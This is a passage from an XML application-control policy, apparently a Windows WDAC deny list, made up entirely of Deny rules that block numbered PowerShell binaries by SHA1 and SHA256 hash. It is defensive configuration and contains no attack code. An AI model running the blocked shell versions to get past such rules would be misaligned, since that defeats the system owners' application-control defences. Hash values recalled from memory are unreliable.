      <Deny ID="ID_DENY_D_175" FriendlyName="PowerShell 175" Hash="9D71AD914DBB2FDF793742AA63AEEF4E4A430790"/> 
      <Deny ID="ID_DENY_D_176" FriendlyName="PowerShell 176" Hash="8CC1B5FA9A9609AC811F6505FA9B68E85A87BAE1EF676EFFE1BE438EACBDF3E1"/> 
      <Deny ID="ID_DENY_D_177" FriendlyName="PowerShell 177" Hash="7484FD78A9298DBA24AC5C882D16DB6146E53712"/> 
      <Deny ID="ID_DENY_D_178" FriendlyName="PowerShell 178" Hash="A79A74BFB768312E8EE089060C5C3238D59EF0C044A450FEB97DCA26815ECB34"/> 
      <Deny ID="ID_DENY_D_179" FriendlyName="PowerShell 179" Hash="78C3C6AEF52A6A5392C55F1EC98AF18053B3087D"/> 
      <Deny ID="ID_DENY_D_180" FriendlyName="PowerShell 180" Hash="493B620FCAD8A91D1FD7C726697E09358CA90822E8D6E021DF56E70B46F7C346"/> 
      <Deny ID="ID_DENY_D_181" FriendlyName="PowerShell 181" Hash="783FFB771F08BCF55C2EA474B5460EB65EA9444C"/> 
      <Deny ID="ID_DENY_D_182" FriendlyName="PowerShell 182" Hash="09DA1592B8457F860297821EB7FAA7F3BB71FC1916ED5DEE6D85044953640D5C"/> 
      <Deny ID="ID_DENY_D_183" FriendlyName="PowerShell 183" Hash="B303D1689ED99613E4F52CE6E5F96AAEBC3A45C3"/> 
      <Deny ID="ID_DENY_D_184" FriendlyName="PowerShell 184" Hash="82AB406FD78DCF58F65DC14D6FDDD72840015F3FE5B554428969BECA0325CD9C"/> 
      <Deny ID="ID_DENY_D_185" FriendlyName="PowerShell 185" Hash="DB5C6CB23C23BA6A3CD4FD4EC0A4DAEE3FC66500"/> 
      <Deny ID="ID_DENY_D_186" FriendlyName="PowerShell 186" Hash="9A46C16C5151D97A0EFA3EA503249E31A6D5D8D25E4F07CD4E5E077A574713FB"/> 
      <Deny ID="ID_DENY_D_187" FriendlyName="PowerShell 187" Hash="C1E08AD32F680100C51F138C6C095139E7230C3B"/> 
      <Deny ID="ID_DENY_D_188" FriendlyName="PowerShell 188" Hash="A5D5C1F79CD26216194D4C72DBAA3E48CB4A143D9E1F78819E52E9FEB2AD0AE3"/> 
      <Deny ID="ID_DENY_D_189" FriendlyName="PowerShell 189" Hash="BACA825D0852E2D8F3D92381D112B99B5DD56D9F"/> 
      <Deny ID="ID_DENY_D_190" FriendlyName="PowerShell 190" Hash="ABA28E0FC251E1D7FE5E264E1B36EC5E482D70AA434E75A756356F23F0C1F2F4"/> 
      <Deny ID="ID_DENY_D_191" FriendlyName="PowerShell 191" Hash="E89C29D38F554F6CB73B5FD3D0A783CC12FFEBC3"/> 
      <Deny ID="ID_DENY_D_192" FriendlyName="PowerShell 192" Hash="4C93CBDCF4328D27681453D8DFD7495955A07EE6A0EFB9A593853A86990CF528"/> 
      <Deny ID="ID_DENY_D_193" FriendlyName="PowerShell 193" Hash="5B5E7942233D7C8A325A429FC4F4AE281325E8F9"/> 
      <Deny ID="ID_DENY_D_194" FriendlyName="PowerShell 194" Hash="40DA20086ED76A5EA5F62901D110216EE206E7EEB2F2BFF02F61D0BE85B0BB5A"/> 
      <Deny ID="ID_DENY_D_195" FriendlyName="PowerShell 195" Hash="926DCACC6983F85A8ABBCB5EE13F3C756705A1D5"/> 
      <Deny ID="ID_DENY_D_196" FriendlyName="PowerShell 196" Hash="A22761E2BF18F02BB630962E3C5E32738770AAEA77F8EDA233E77792EB480072"/> 
      <Deny ID="ID_DENY_D_197" FriendlyName="PowerShell 197" Hash="6FE6723A355DEB4BC6B8637A634D1B43AFA64112"/> 
      <Deny ID="ID_DENY_D_198" FriendlyName="PowerShell 198" Hash="9BCC55A97A275F7D81110877F1BB5B41F86A848EA02B4EE1E1E6A44D927A488F"/> 
      <Deny ID="ID_DENY_D_199" FriendlyName="PowerShell 199" Hash="8D5599B34BED4A660DACC0922F6C2F112F264758"/> 
      <Deny ID="ID_DENY_D_200" FriendlyName="PowerShell 200" Hash="F375014915E5E027F697B29201362B56F2D9E598247C96F86ABADCC6FF42F034"/> 
      <Deny ID="ID_DENY_D_201" FriendlyName="PowerShell 201" Hash="CCFB247A3BCA9C64D82F647F3D30A3172E645F13"/> 
      <Deny ID="ID_DENY_D_202" FriendlyName="PowerShell 202" Hash="5E52ABBC051368315F078D31F01B0C1B904C1DDB6D1C1E4A91BE276BDF44C66F"/> 
      <Deny ID="ID_DENY_D_203" FriendlyName="PowerShell 203" Hash="E8EB859531F426CC45A3CB9118F399C92054563E"/> 
      <Deny ID="ID_DENY_D_204" FriendlyName="PowerShell 204" Hash="CD9E1D41F8D982F4AA6C610A2EFEAEBA5B0CDD883DF4A86FA0180ACD333CAA86"/> 
      <Deny ID="ID_DENY_D_205" FriendlyName="PowerShell 205" Hash="C92D4EAC917EE4842A437C54F96D87F003199DE8"/> 
      <Deny ID="ID_DENY_D_206" FriendlyName="PowerShell 206" Hash="3A270242EB49E06405FD654FA4954B166297BBC886891C64B4424134C39872DB"/> 
      <Deny ID="ID_DENY_D_207" FriendlyName="PowerShell 207" Hash="66681D9171981216B31996429695931DA2A638B9"/> 
      <Deny ID="ID_DENY_D_208" FriendlyName="PowerShell 208" Hash="7A2DF7D56912CB4EB5B36D071496EDC97661086B0E4C9CC5D9C61779A5A7DAAA"/> 
      <Deny ID="ID_DENY_D_209" FriendlyName="PowerShell 209" Hash="9DCA54C85E4C645CB296FE3055E90255B6506A95"/> 
      <Deny ID="ID_DENY_D_210" FriendlyName="PowerShell 210" Hash="8C9C58AD12FE61CBF021634EC6A4B3094750FC002DA224423E0BCEB01ECF292A"/> 
      <Deny ID="ID_DENY_D_211" FriendlyName="PowerShell 211" Hash="3AF2587E8B62F88DC363D7F5308EE4C1A6147338"/> 
      <Deny ID="ID_DENY_D_212" FriendlyName="PowerShell 212" Hash="D32D88F158FD341E32708CCADD48C426D227D0EC8465FF4304C7B7EAC2C6A93E"/> 
      <Deny ID="ID_DENY_D_213" FriendlyName="PowerShell 213" Hash="D3D453EBC368DF7CC2200474035E5898B58D93F1"/> 
      <Deny ID="ID_DENY_D_214" FriendlyName="PowerShell 214" Hash="BBE569BCC282B3AF682C1528D4E3BC53C1A0C6B5905FA34ADB4305160967B64A"/> 
      <Deny ID="ID_DENY_D_215" FriendlyName="PowerShell 215" Hash="D147CE5C7E7037D1BE3C0AF67EDB6F528C77DB0A"/> 
      <Deny ID="ID_DENY_D_216" FriendlyName="PowerShell 216" Hash="11F936112832738AD9B3A1C67537D5542DE8E86856CF2A5893C4D26CF3A2C558"/> 
      <Deny ID="ID_DENY_D_217" FriendlyName="PowerShell 217" Hash="7DBB41B87FAA887DE456C8E6A72E09D2839FA1E7"/> 
      <Deny ID="ID_DENY_D_218" FriendlyName="PowerShell 218" Hash="3741F3D2F264E047339C95A66085599A49766DEF1C5BD0C32237CE87FA0B41FB"/> 
      <Deny ID="ID_DENY_D_219" FriendlyName="PowerShell 219" Hash="5F3AECC89BAF094EAFA3C25E6B883EE68A6F00B0"/> 
      <Deny ID="ID_DENY_D_220" FriendlyName="PowerShell 220" Hash="AA085BE6498D2E3F527F3D72A5D1C604508133F0CDC05AD404BB49E8E3FB1A1B"/> 
      <Deny ID="ID_DENY_D_221" FriendlyName="PowerShell 221" Hash="DDE4D9A08514347CDE706C42920F43523FC74DEA"/> 
      <Deny ID="ID_DENY_D_222" FriendlyName="PowerShell 222" Hash="81835C6294B96282A4D7D70383BBF797C2E4E7CEF99648F85DDA50F7F41B02F6"/> 
      <Deny ID="ID_DENY_D_223" FriendlyName="PowerShell 223" Hash="48092864C96C4BF9B68B5006EAEDAB8B57B3738C"/> 
      <Deny ID="ID_DENY_D_224" FriendlyName="PowerShell 224" Hash="36EF3BED9A5D0D563BCB354BFDD2931F6256759D1D905BA5DC21CDA496F2FEB7"/> 
      <Deny ID="ID_DENY_D_225" FriendlyName="PowerShell 225" Hash="7F6725BA8CCD2DAEEFD0C9590A5DF9D98642CCEA"/> 
      <Deny ID="ID_DENY_D_226" FriendlyName="PowerShell 226" Hash="DB68DB3AE32A8A662AA6EE16CF459124D2701719D019B614CE9BF115F5F9C904"/> 
      <Deny ID="ID_DENY_D_227" FriendlyName="PowerShell 227" Hash="FF205856A3209227D571EAD4B8C1E611E7FF9924"/> 
      <Deny ID="ID_DENY_D_228" FriendlyName="PowerShell 228" Hash="A63B38CE17DA60C4C431FC42C4507A0B7C19B384AC9E121E2988AD026E71ED63"/> 
      <Deny ID="ID_DENY_D_229" FriendlyName="PowerShell 229" Hash="479C9429691314D3E21E4F4CA8B95D5BD2BDDEDA"/> 
      <Deny ID="ID_DENY_D_230" FriendlyName="PowerShell 230" Hash="2BA4E369D267A9ABDEBA50DA2CB5FC56A8EE4382C5BCFCFFD121350B88A6F0E1"/> 
      <Deny ID="ID_DENY_D_231" FriendlyName="PowerShell 231" Hash="C7D70B96440D215173F35412D56CF9329886D8D3"/> 
      <Deny ID="ID_DENY_D_232" FriendlyName="PowerShell 232" Hash="B00C54F1AA77D88335675EAF07ED834E68FD96DD7606914C2867F9C506AB0A56"/> 
      <Deny ID="ID_DENY_D_233" FriendlyName="PowerShell 233" Hash="2AB804E1FF982AE0EDB591BC61AA909CF32E99C5"/> 
      <Deny ID="ID_DENY_D_234" FriendlyName="PowerShell 234" Hash="253120422B0DD987C293CAF5928FA820414C0A01622FD0EAF304A750FC5AEEFE"/> 
      <Deny ID="ID_DENY_D_235" FriendlyName="PowerShell 235" Hash="8DAB1D74CAEDBAA8D17805CF00D64A44F5831C12"/> 
      <Deny ID="ID_DENY_D_236" FriendlyName="PowerShell 236" Hash="AC1CE3AA9023E23F2F63D5A3536294B914686057336402E059DEF6559D1CE723"/> 
      <Deny ID="ID_DENY_D_237" FriendlyName="PowerShell 237" Hash="993425279D204D1D14C3EB989DEB4805ADC558CF"/> 
      <Deny ID="ID_DENY_D_238" FriendlyName="PowerShell 238" Hash="BDADDD710E47EB8D24B78E542F3996B0EA2CA577ABD515785819302DB15839DD"/> 
      <Deny ID="ID_DENY_D_239" FriendlyName="PowerShell 239" Hash="F4DB0CDF3A3FD163A9B90789CC6D14D326AD609C"/> 
      <Deny ID="ID_DENY_D_240" FriendlyName="PowerShell 240" Hash="5D249D8366077713024552CA8D08F164E975AFF89E8909E35A43F02B0DC66F70"/> 
      <Deny ID="ID_DENY_D_241" FriendlyName="PowerShell 241" Hash="5B8E45EECA32C2F0968C2252229D768B0DB796A0"/> 
      <Deny ID="ID_DENY_D_242" FriendlyName="PowerShell 242" Hash="B4D336B32C27E3D3FEBE4B06252DDE9683814E7E903C98448972AAB7389DFC02"/> 
      <Deny ID="ID_DENY_D_243" FriendlyName="PowerShell 243" Hash="4F5D66B449C4D2FDEA532F9B5DBECA5ACA8195EF"/> 
      <Deny ID="ID_DENY_D_244" FriendlyName="PowerShell 244" Hash="39F2F19A5C6708CE8CE4E1ABBEBA8D3D1A6220391CA86B2D319E347B46005C97"/> 
      <Deny ID="ID_DENY_D_245" FriendlyName="PowerShell 245" Hash="4BFB3F95CA1B79DA3C6B0A2ECB432059E686F967"/> 
      <Deny ID="ID_DENY_D_246" FriendlyName="PowerShell 246" Hash="0C4688AACD02829850DE0F792AC06D3C87895412A910EA76F7F9BF31B3B4A3E9"/> 
      <Deny ID="ID_DENY_D_247" FriendlyName="PowerShell 247" Hash="6DC048AFA50B5B1B0AD7DD3125AC83D46FED730A"/> 
      <Deny ID="ID_DENY_D_248" FriendlyName="PowerShell 248" Hash="432F666CCE8CD222484E263AE02F63E0038143DD6AD07B3EB1633CD3C498C13D"/>
      <Deny ID="ID_DENY_D_287" FriendlyName="PowerShellShell 287" Hash="2B45C165F5E0BFD932397B18980BA680E2E82BD1"/>
      <Deny ID="ID_DENY_D_288" FriendlyName="PowerShellShell 288" Hash="1DD0AD6B85DAEBAE7555DC37EA6C160EA38F75E3D4847176F77562A59025660A"/>
      <Deny ID="ID_DENY_D_289" FriendlyName="PowerShellShell 289" Hash="A8C9E28F25C9C5F479691F2F49339F4448747638"/>
      <Deny ID="ID_DENY_D_290" FriendlyName="PowerShellShell 290" Hash="F8FA17038CD532BF5D0D6D3AC55CE34E45EB690637D38D399CAB14B09807EB6C"/>
      <Deny ID="ID_DENY_D_291" FriendlyName="PowerShellShell 291" Hash="4BAFD867B59328E7BB853148FE6D16B9411D7A12"/>
      <Deny ID="ID_DENY_D_292" FriendlyName="PowerShellShell 292" Hash="D1F22B37902C2DD53FA27438436D9D236A196C10C8E492A8F4A14768644592D3"/>
      <Deny ID="ID_DENY_D_293" FriendlyName="PowerShellShell 293" Hash="3BA0605C08935B340BEFDC83C0D92B1CE52B8348"/>
      <Deny ID="ID_DENY_D_294" FriendlyName="PowerShellShell 294" Hash="B794B01CE561F2791D4ED3EADE523D03D2BE7B4CEFE9AAFC685ECE8ACF515ED2"/>
      <Deny ID="ID_DENY_D_295" FriendlyName="PowerShellShell 295" Hash="8B74A22710A532A71532E4F0B1C60AABDCAA29AB"/>
      <Deny ID="ID_DENY_D_296" FriendlyName="PowerShellShell 296" Hash="EB335007DF9897BCD2ED5C647BA724F07658E8597E73E353479201000CF2EF79"/>
      <Deny ID="ID_DENY_D_297" FriendlyName="PowerShellShell 297" Hash="10E2CD3A2CFA0549590F740139F464626DEE2092"/>
      <Deny ID="ID_DENY_D_298" FriendlyName="PowerShellShell 298" Hash="61DEC96B91F3F152DFDA84B28EBB184808A21C4C183CC0584C66AC7E20F0DDB6"/>
      <Deny ID="ID_DENY_D_299" FriendlyName="PowerShellShell 299" Hash="98E84F46B3EB3AD7420C9715722145AFB0C065A7"/>
      <Deny ID="ID_DENY_D_300" FriendlyName="PowerShellShell 300" Hash="67398990D42DFF84F8BE33B486BF492EBAF61671820BB9DCF039D1F8738EC5A4"/>
      <Deny ID="ID_DENY_D_301" FriendlyName="PowerShellShell 301" Hash="58F399EC75708720E722FBD038F0EC089BF5A8C0"/>
      <Deny ID="ID_DENY_D_302" FriendlyName="PowerShellShell 302" Hash="C523FFF884C44251337470870E0B158230961845FC1E953F877D515668524F2E"/>
      <Deny ID="ID_DENY_D_303" FriendlyName="PowerShellShell 303" Hash="41EE8E9559FC0E772FC26EBA87ED4D77E60DC76C"/>
      <Deny ID="ID_DENY_D_304" FriendlyName="PowerShellShell 304" Hash="219AD97976987C614B00C0CD1229B4245F2F1453F5AF90B907664D0BF6ADFE78"/>
      <Deny ID="ID_DENY_D_305" FriendlyName="PowerShellShell 305" Hash="7F7E646892FCEB8D6A19647F00C1153014955C45"/>
      <Deny ID="ID_DENY_D_306" FriendlyName="PowerShellShell 306" Hash="5825FF16398F12B4999B9A12849A757DD0884F9908220FB33E720F170DA288D5"/>
      <Deny ID="ID_DENY_D_307" FriendlyName="PowerShellShell 307" Hash="7EA8A590583008446583F0AE7D66537FAD63619D"/>
      <Deny ID="ID_DENY_D_308" FriendlyName="PowerShellShell 308" Hash="26DD094717B15B3D39600D909A9CAEBCF5C616C6277933BCC01326E8C475A128"/>
      <Deny ID="ID_DENY_D_309" FriendlyName="PowerShellShell 309" Hash="5F6CDF52C1E184B080B89EB234DE179C19F110BA"/>
      <Deny ID="ID_DENY_D_310" FriendlyName="PowerShellShell 310" Hash="41FB90606E3C66D21C703D84C943F8CB35772030B689D9A9895CB3EF7C863FB2"/>
      <Deny ID="ID_DENY_D_311" FriendlyName="PowerShellShell 311" Hash="91C1DACBD6773BFC7F9305418A6683B8311949CF"/>
      <Deny ID="ID_DENY_D_312" FriendlyName="PowerShellShell 312" Hash="EB678387D01938D88E6F2F46712269D54D845EB6A8AAC3FCA256DC2160D42975"/>
      <Deny ID="ID_DENY_D_313" FriendlyName="PowerShellShell 313" Hash="A05294D23A4A7DC91692013C0EC4373598A28B21"/>
      <Deny ID="ID_DENY_D_314" FriendlyName="PowerShellShell 314" Hash="ABEEA4903403D2C07489436E59955ECFEEF893C63D1FDBED234343F6A6D472B1"/>
      <Deny ID="ID_DENY_D_315" FriendlyName="PowerShellShell 315" Hash="B155C278617845EC6318E4009E4CED6639FAB951"/>
      <Deny ID="ID_DENY_D_316" FriendlyName="PowerShellShell 316" Hash="59549FEEB4D64BA3AF50F925FECC8107422D3F54AF6106E5B0152B2F50912980"/>
      <Deny ID="ID_DENY_D_317" FriendlyName="PowerShellShell 317" Hash="465D848F11CECE4452E831D248D326360B73A319"/>
      <Deny ID="ID_DENY_D_318" FriendlyName="PowerShellShell 318" Hash="B9C9F208C6E50AABF91D234227D09D7C6CAB2FDB229163103E7C1F541F71C213"/>
      <Deny ID="ID_DENY_D_319" FriendlyName="PowerShellShell 319" Hash="F0B9D75B53A268C0AC30584738C3A5EC33420A2E"/>
      <Deny ID="ID_DENY_D_320" FriendlyName="PowerShellShell 320" Hash="365A7812DFC448B1FE9CEA83CF55BC62189C4E72BAD84276BD5F1DAB47CB3EFF"/>
      <Deny ID="ID_DENY_D_321" FriendlyName="PowerShellShell 321" Hash="8ADCDD18EB178B6A43CF5E11EC73212C90B91988"/>
      <Deny ID="ID_DENY_D_322" FriendlyName="PowerShellShell 322" Hash="51BD119BE2FBEFEC560F618DBBBB8203A251F455B1DF825F37B1DFFDBE120DF2"/>
      <Deny ID="ID_DENY_D_323" FriendlyName="PowerShellShell 323" Hash="D2011097B6038D8507B26B7618FF07DA0FF01234"/>
      <Deny ID="ID_DENY_D_324" FriendlyName="PowerShellShell 324" Hash="BA3D20A577F355612E53428D573767C48A091AE965FCB30CC348619F1CB85A02"/>
      <Deny ID="ID_DENY_D_325" FriendlyName="PowerShellShell 325" Hash="57ABBC8E2FE88E04C57CDDD13D58C9CE03455D25"/>
      <Deny ID="ID_DENY_D_326" FriendlyName="PowerShellShell 326" Hash="0280C4714BC806BFC1863BE9E84D38F203942DD35C6AF2EB96958FD011E4D23D"/>
      <Deny ID="ID_DENY_D_327" FriendlyName="PowerShellShell 327" Hash="DEB07053D6059B56109DFF885720D5721EB0F55C"/>
      <Deny ID="ID_DENY_D_328" FriendlyName="PowerShellShell 328" Hash="E374A14871C35DB57D6D67281C16F5F9EF77ABE248DE92C1A937C6526133FA36"/>
      <Deny ID="ID_DENY_D_329" FriendlyName="PowerShellShell 329" Hash="AC33BA432B35A662E2D9D015D6283308FD046251"/>
      <Deny ID="ID_DENY_D_330" FriendlyName="PowerShellShell 330" Hash="93B22B0D5369327247DF491AABD3CE78421D0D68FE8A3931E0CDDF5F858D3AA7"/>
      <Deny ID="ID_DENY_D_331" FriendlyName="PowerShellShell 331" Hash="05126413310F4A1BA2F7D2AD3305E2E3B6A1B00D"/>
      <Deny ID="ID_DENY_D_332" FriendlyName="PowerShellShell 332" Hash="108A73F4AE78786C9955ED71EFD916465A36175F8DC85FD82DDA6410FBFCDB52"/>
      <Deny ID="ID_DENY_D_333" FriendlyName="PowerShellShell 333" Hash="B976F316FB5EE6E5A325320E7EE5FBF487DA9CE5"/>
      <Deny ID="ID_DENY_D_334" FriendlyName="PowerShellShell 334" Hash="D54CCD405D3E904CAECA3A6F7BE1737A9ACE20F7593D0F6192B811EF17744DD6"/>
      <Deny ID="ID_DENY_D_335" FriendlyName="PowerShellShell 335" Hash="F3471DBF534995307AEA230D228BADFDCA9E4021"/>
      <Deny ID="ID_DENY_D_336" FriendlyName="PowerShellShell 336" Hash="2048F33CCD924D224154307C28DDC6AC1C35A1859F118AB2B6536FB954FC44EF"/>
      <Deny ID="ID_DENY_D_337" FriendlyName="PowerShellShell 337" Hash="1FAC9087885C2FEBD7F57CC9AACE8AF94294C8FB"/>
      <Deny ID="ID_DENY_D_338" FriendlyName="PowerShellShell 338" Hash="942E0D0BA5ECBF64A3B2D0EA1E08C793712A4C89BC1BC3B6C32A419AE38FACC1"/>
      <Deny ID="ID_DENY_D_339" FriendlyName="PowerShellShell 339" Hash="5B67EE19AA7E4B42E58127A63520D44A0679C6CE"/>
      <Deny ID="ID_DENY_D_340" FriendlyName="PowerShellShell 340" Hash="2B6A59053953737D345B97FA1AFB23C379809D1532BAF31E710E48ED7FA2D735"/>
      <Deny ID="ID_DENY_D_341" FriendlyName="PowerShellShell 341" Hash="1ABC67650B169E7C437853922805706D488EEEA2"/>
      <Deny ID="ID_DENY_D_342" FriendlyName="PowerShellShell 342" Hash="754CA97A95464F1A1687C83AE3ECC6670B80A50503067DEBF6135077C886BCF4"/>
      <Deny ID="ID_DENY_D_343" FriendlyName="PowerShellShell 343" Hash="0E280FF775F406836985ECA66BAA9BA17D12E38B"/>
      <Deny ID="ID_DENY_D_344" FriendlyName="PowerShellShell 344" Hash="19C9A6D1AE90AEA163E35930FAB1B57D3EC78CA5FE192D6E510CED2DAB5DD03B"/>
      <Deny ID="ID_DENY_D_345" FriendlyName="PowerShellShell 345" Hash="4E6081C3BBB2809C417E2D03412E29FF7317DA54"/>
      <Deny ID="ID_DENY_D_346" FriendlyName="PowerShellShell 346" Hash="3AE4505A552EA04C7664C610E81172CA329981BF53ECC6758C03357EB653F5D1"/>
      <Deny ID="ID_DENY_D_347" FriendlyName="PowerShellShell 347" Hash="61BED1C7CD54B2F60923D26CD2F6E48C063AFED5"/>
      <Deny ID="ID_DENY_D_348" FriendlyName="PowerShellShell 348" Hash="9405CBE91B7519290F90577DCCF5796C514746DE6390322C1624BA258D284EE9"/>
      <Deny ID="ID_DENY_D_349" FriendlyName="PowerShellShell 349" Hash="63AA55C3B46EFAFC8625F8D5562AB504E4CBB78F"/>
      <Deny ID="ID_DENY_D_350" FriendlyName="PowerShellShell 350" Hash="FF54885D30A13008D60F6D0B96CE802209C89A2A7D9D86A85804E66B6DE29A5D"/>
      <Deny ID="ID_DENY_D_351" FriendlyName="PowerShellShell 351" Hash="20845E4440DA2D9AB3559D4B6890691CACD0E93E"/>
      <Deny ID="ID_DENY_D_352" FriendlyName="PowerShellShell 352" Hash="3C9098C4BFD818CE8CFA130F6E6C90876B97D57ABBEAFABB565C487F1DD33ECC"/>
      <Deny ID="ID_DENY_D_353" FriendlyName="PowerShellShell 353" Hash="4A473F14012EB9BF7DCEA80B86C2612A6D9D914E"/>
      <Deny ID="ID_DENY_D_354" FriendlyName="PowerShellShell 354" Hash="1C6914B58F70A9860F67311C32258CD9072A367BF30203DA9D8C48188D888E65"/>
      <Deny ID="ID_DENY_D_355" FriendlyName="PowerShellShell 355" Hash="641871FD5D9875DB75BFC58B7B53672D2C645F01"/>
      <Deny ID="ID_DENY_D_356" FriendlyName="PowerShellShell 356" Hash="C115A974DD2C56574E93A4800247A23B98B9495F6EF41460D1EC139266A2484D"/>
      <Deny ID="ID_DENY_D_357" FriendlyName="PowerShellShell 357" Hash="A21E254C18D3D53B832AD381FF58B36E6737FFB6"/>
      <Deny ID="ID_DENY_D_358" FriendlyName="PowerShellShell 358" Hash="D214AF2AD9204118EB670D08D80D4CB9FFD74A978726240360C35AD5A57F8E7D"/>
      <Deny ID="ID_DENY_D_359" FriendlyName="PowerShellShell 359" Hash="102B072F29122BC3A89B924987A7BF1AC3C598DB"/>
      <Deny ID="ID_DENY_D_360" FriendlyName="PowerShellShell 360" Hash="DA444773FE7AD8309FA9A0ABCDD63B302E6FC91E750903843FBA2A7F370DB0C0"/>
      <Deny ID="ID_DENY_D_361" FriendlyName="PowerShellShell 361" Hash="EAD58EBB00001E678B9698A209308CC7406E1BCC"/>
      <Deny ID="ID_DENY_D_362" FriendlyName="PowerShellShell 362" Hash="34A5F48629F9FDAEBAB9468EF7F1683EFA856AAD32E3C0CC0F92B5641D722EDC"/>
      <Deny ID="ID_DENY_D_363" FriendlyName="PowerShellShell 363" Hash="727EDB00C15DC5D3C14368D88023FDD5A74C0B06"/>
      <Deny ID="ID_DENY_D_364" FriendlyName="PowerShellShell 364" Hash="5720BEE5CBE7D724B67E07C53E22FB869F8F9B1EB95C4F71D61D240A1ED8D8AD"/>
      <Deny ID="ID_DENY_D_365" FriendlyName="PowerShellShell 365" Hash="A43137EC82721A81C3E05DC5DE74F0549DE6A130"/>
      <Deny ID="ID_DENY_D_366" FriendlyName="PowerShellShell 366" Hash="1731118D97F278C18E2C6922A016DA7C55970C6C4C5441710D1B0464EED6EAEB"/>
      <Deny ID="ID_DENY_D_367" FriendlyName="PowerShellShell 367" Hash="17EC94CB9BF98E605F9352987CA33DCE8F5733CD"/>
      <Deny ID="ID_DENY_D_368" FriendlyName="PowerShellShell 368" Hash="AFE0CC143108BBDBE60771B6894406785C471BA5730F06EE8185D0A71617B583"/>
      <Deny ID="ID_DENY_D_369" FriendlyName="PowerShellShell 369" Hash="F6E9C098737F0905E53B92D4AD49C199EC76D24B"/>
      <Deny ID="ID_DENY_D_370" FriendlyName="PowerShellShell 370" Hash="50A57BFCD20380DDEFD2A717D7937D49380D4D5931CC6CC403C904139546CB1D"/>
      <Deny ID="ID_DENY_D_371" FriendlyName="PowerShellShell 371" Hash="2118ACC512464EE95946F064560C15C58341B80C"/>
      <Deny ID="ID_DENY_D_372" FriendlyName="PowerShellShell 372" Hash="005990EE785C1CA7EAEC82DA29F5B363049DC117A18823D83C10B86B5E8D0A5F"/>
      <Deny ID="ID_DENY_D_373" FriendlyName="PowerShellShell 373" Hash="54FAE3A389FDD2F5C21293D2317E87766AF0473D"/>
      <Deny ID="ID_DENY_D_374" FriendlyName="PowerShellShell 374" Hash="70F4E503D7484DF5B5F73D9A753E585BFADB8B8EBA42EB482B6A66DB17C87881"/>
      <Deny ID="ID_DENY_D_375" FriendlyName="PowerShellShell 375" Hash="B4831AF4B25527EF0C172DAA5E4CA26DE105D30B"/>
      <Deny ID="ID_DENY_D_376" FriendlyName="PowerShellShell 376" Hash="D410A37042A2DC53AD1801EBB2EF507B4AE475870522A298567B79DA61C3E9C8"/>
      <Deny ID="ID_DENY_D_377" FriendlyName="PowerShellShell 377" Hash="85BBC0CDC34BD5A56113B0DCB6795BCEBADE63FA"/>
      <Deny ID="ID_DENY_D_378" FriendlyName="PowerShellShell 378" Hash="C6F8E3A3F2C513CEDD2F21D486BF0116BAF2E2EE4D631A9BE4760860B1161848"/>
      <Deny ID="ID_DENY_D_379" FriendlyName="PowerShellShell 379" Hash="46105ACE7ABEC3A6E6226183F2F7F8E90E3639A5"/>
      <Deny ID="ID_DENY_D_380" FriendlyName="PowerShellShell 380" Hash="F60BE088F226CA1E2308099C3B1C2A54DB4C41D2BE678504D03547B9E1E023F6"/>
      <Deny ID="ID_DENY_D_381" FriendlyName="PowerShellShell 381" Hash="C9478352ACE4BE6D6B70BBE710C2E2128FEFC7FE"/>
      <Deny ID="ID_DENY_D_382" FriendlyName="PowerShellShell 382" Hash="F4A81E7D4BD3B8762FAED760047877E06E40EC991D968BD6A6929B848804C1A4"/>
      <Deny ID="ID_DENY_D_383" FriendlyName="PowerShellShell 383" Hash="9E56E910919FF65BCCF5D60A8F9D3EBE27EF1381"/>
      <Deny ID="ID_DENY_D_384" FriendlyName="PowerShellShell 384" Hash="34887B225444A18158B632CAEA4FEF6E7D691FEA3E36C12D4152AFAB260668EB"/>
      <Deny ID="ID_DENY_D_385" FriendlyName="PowerShellShell 385" Hash="1FD04D4BD5F9E41FA8278F3F9B05FE8702ADB4C8"/>
      <Deny ID="ID_DENY_D_386" FriendlyName="PowerShellShell 386" Hash="6586176AEBE8307829A1E03D878EF6F500E8C5032E50198DF66F54D3B56EA718"/>
      <Deny ID="ID_DENY_D_387" FriendlyName="PowerShellShell 387" Hash="DEBC3DE2AD99FC5E885A358A6994E6BD39DABCB0"/>
      <Deny ID="ID_DENY_D_388" FriendlyName="PowerShellShell 388" Hash="FDF54A4A3089062FFFA4A41FEBF38F0ABC9D502B57749348DF6E78EA2A33DDEA"/>
      <Deny ID="ID_DENY_D_389" FriendlyName="PowerShellShell 389" Hash="6AA06D07D9DE8FE7E13B66EDFA07232B56F7E21D"/>
      <Deny ID="ID_DENY_D_390" FriendlyName="PowerShellShell 390" Hash="DD3E74CFB8ED64FA5BE9136C305584CD2E529D92B360651DD06A6DC629E23449"/>
      <Deny ID="ID_DENY_D_391" FriendlyName="PowerShellShell 391" Hash="5C858042246FDDDB281C1BFD2FEFC9BAABC3F7AD"/>
      <Deny ID="ID_DENY_D_392" FriendlyName="PowerShellShell 392" Hash="20E65B1BE06A99507412FC0E75D158EE1D9D43AE5F492BE4A87E3AA29A148310"/>
      <Deny ID="ID_DENY_D_393" FriendlyName="PowerShellShell 393" Hash="2ABCD0525D31D4BB2D0131364FBE1D94A02A3E2A"/>
      <Deny ID="ID_DENY_D_394" FriendlyName="PowerShellShell 394" Hash="806EC87F1EFA428627989318C882CD695F55F60A1E865C621C9F2B14E4E1FC2E"/>
      <Deny ID="ID_DENY_D_395" FriendlyName="PowerShellShell 395" Hash="E2967D755D0F79FA8EA7A8585106926CA87F89CB"/>
      <Deny ID="ID_DENY_D_396" FriendlyName="PowerShellShell 396" Hash="07382BE9D8ACBAFDA953C842BAAE600A82A69183D6B63F91B061671C4AF9434B"/>
      <Deny ID="ID_DENY_D_397" FriendlyName="PowerShellShell 397" Hash="75EF6F0B78098FB1766DCC853E004476033499CF"/>
      <Deny ID="ID_DENY_D_398" FriendlyName="PowerShellShell 398" Hash="699A9D17E1247F05767E82BFAFBD96DBE07AE521E23D39613D4A39C3F8CF4971"/>
      <Deny ID="ID_DENY_D_399" FriendlyName="PowerShellShell 399" Hash="E73178C487AF6B9F182B2CCA25774127B0303093"/>
      <Deny ID="ID_DENY_D_400" FriendlyName="PowerShellShell 400" Hash="0BD1FE62BE97032ADDAAB41B445D00103302D3CE8A03A798A36FEAA0F89939FF"/>
      <Deny ID="ID_DENY_D_401" FriendlyName="PowerShellShell 401" Hash="EBF20FEECA95F83B9F5C22B97EB44DD7EB2C7B5F"/>
